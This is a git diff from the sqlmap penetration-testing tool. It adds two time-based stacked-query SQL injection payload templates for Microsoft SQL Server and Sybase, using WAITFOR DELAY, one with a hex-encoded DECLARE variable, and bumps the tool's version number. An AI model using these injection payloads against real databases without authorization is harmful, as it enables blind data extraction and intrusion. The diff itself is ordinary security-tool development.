diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index b882f158d23..c7e15ed03fe 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -328,6 +328,48 @@ + + Microsoft SQL Server/Sybase stacked queries (no semicolon) + 4 + 5 + 1 + 1-8 + 1 + IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + WAITFOR DELAY '0:0:[SLEEPTIME]' + -- + + + + +
+ Microsoft SQL Server + Sybase +
+
+ + + Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon) + 4 + 5 + 1 + 1-8 + 1 + DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x + + DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x + -- + + + + +
+ Microsoft SQL Server + Sybase +
+
+ Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 diff --git a/data/xml/queries.xml b/data/xml/queries.xml index c5809d060a7..e2fb53db9fc 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -139,7 +139,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index fb7a90de751..9c562045800 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.50" +VERSION = "1.10.8.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)